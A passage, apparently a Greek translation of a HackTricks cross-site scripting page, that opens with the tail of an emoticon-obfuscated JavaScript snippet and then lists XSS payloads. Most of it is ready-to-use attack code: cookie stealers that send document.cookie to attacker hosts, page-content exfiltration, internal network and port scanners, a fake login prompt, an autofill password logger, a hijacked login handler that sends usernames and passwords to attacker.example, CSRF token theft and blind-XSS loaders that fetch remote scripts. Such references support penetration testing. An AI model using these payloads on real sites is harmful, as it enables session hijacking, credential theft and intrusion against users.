((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS κοινά payloads
Πολλαπλά payloads σε 1
Iframe Trap
Κάνε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να κλέψεις τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
Ανάκτηση Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Δεν θα μπορείτε να έχετε πρόσβαση στα cookies από JavaScript αν το HTTPOnly flag έχει οριστεί στο cookie. Αλλά εδώ έχετε μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί.
Κλοπή περιεχομένου σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Εύρεση εσωτερικών IPs
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Οι σύντομοι χρόνοι υποδεικνύουν μια θύρα που ανταποκρίνεται Οι μεγαλύτεροι χρόνοι υποδεικνύουν μη ανταπόκριση.
Ελέγξτε τη λίστα των θυρών που απαγορεύονται στο Chrome here και στο Firefox here.
Πλαίσιο για αίτηση διαπιστευτηρίων
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Καταγραφή Auto-fill passwords
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Όταν εισάγονται δεδομένα στο πεδίο password, το username και το password αποστέλλονται στον attacker server — ακόμη και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα, τα credentials θα ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Εάν ένας κρίσιμος handler (π.χ., function DoLogin(){...}
) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα const
με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Αργότερες δηλώσεις function δεν μπορούν να επαναδεσμεύσουν ένα const
όνομα, αφήνοντας το hook σας υπό έλεγχο:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Σημειώσεις
- Αυτό βασίζεται στη σειρά εκτέλεσης: το injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση.
- Αν το payload σας είναι τυλιγμένο σε
eval(...)
, οι δεσμεύσειςconst/let
δεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική<script>
injection technique από το τμήμα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε ένα πραγματικό global, non-rebindable binding. - Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε με Unicode-escaped identifiers ή
eval(atob('...'))
delivery, όπως φαίνεται παραπάνω.
Keylogger
Ψάχνοντας στο github βρήκα μερικά διαφορετικά:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Υποκλοπή μηνυμάτων PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Κατάχρηση Service Workers
Πρόσβαση στο Shadow DOM
Polyglots
Blind XSS payloads
Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από this writeup είναι δυνατό να μάθει κανείς ότι ακόμη και αν μερικές τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατόν να τις βρει στα JS attributes σε διαφορετικά objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να μπορεί να εντοπιστεί μετά την αφαίρεση της value του input του regex:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Λίστα
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Εκμετάλλευση άλλων ευπαθειών
XSS σε Markdown
Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως να μπορέσεις να πετύχεις XSS! Δες:
XSS σε SSRF
Έχεις XSS σε ένα site που χρησιμοποιεί caching; Δοκίμασε να το αναβαθμίσεις σε SSRF μέσω Edge Side Include Injection με αυτό το payload:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποίησέ το για να παρακάμψεις τους περιορισμούς των cookie, τα φίλτρα XSS και πολλά ακόμα!
Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: XSLT.
XSS σε δυναμικά δημιουργημένο PDF
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελεγχόμενη από τον χρήστη, μπορείς να προσπαθήσεις να ξεγελάσεις το bot που δημιουργεί το PDF ώστε να εκτελέσει αυθαίρετο JS code.
Άρα, αν το PDF creator bot εντοπίσει κάποιο είδος HTML tags, θα τα ερμηνεύσει, και μπορείς να κακοχρησιμοποιήσεις αυτή τη συμπεριφορά για να προκαλέσεις ένα Server XSS.
Αν δεν μπορείς να εισάγεις HTML tags, ίσως αξίζει να προσπαθήσεις να inject PDF data:
XSS in Amp4Email
Το AMP, με στόχο την επιτάχυνση της απόδοσης ιστοσελίδων σε φορητές συσκευές, ενσωματώνει HTML tags που συμπληρώνονται από JavaScript για να εξασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από components για διάφορες λειτουργίες, προσβάσιμα μέσω AMP components.
Το AMP for Email format επεκτείνει συγκεκριμένα AMP components στα emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με περιεχόμενο απευθείας μέσα στα emails.
Παράδειγμα writeup XSS in Amp4Email in Gmail.
XSS στο ανέβασμα αρχείων (svg)
Ανέβασε ως εικόνα ένα αρχείο σαν το παρακάτω (από http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Βρείτε περισσότερα SVG payloads στο https://github.com/allanlw/svg-cheatsheet
Διάφορα JS κόλπα & Σχετικές Πληροφορίες
Misc JS Tricks & Relevant Info
Πόροι XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.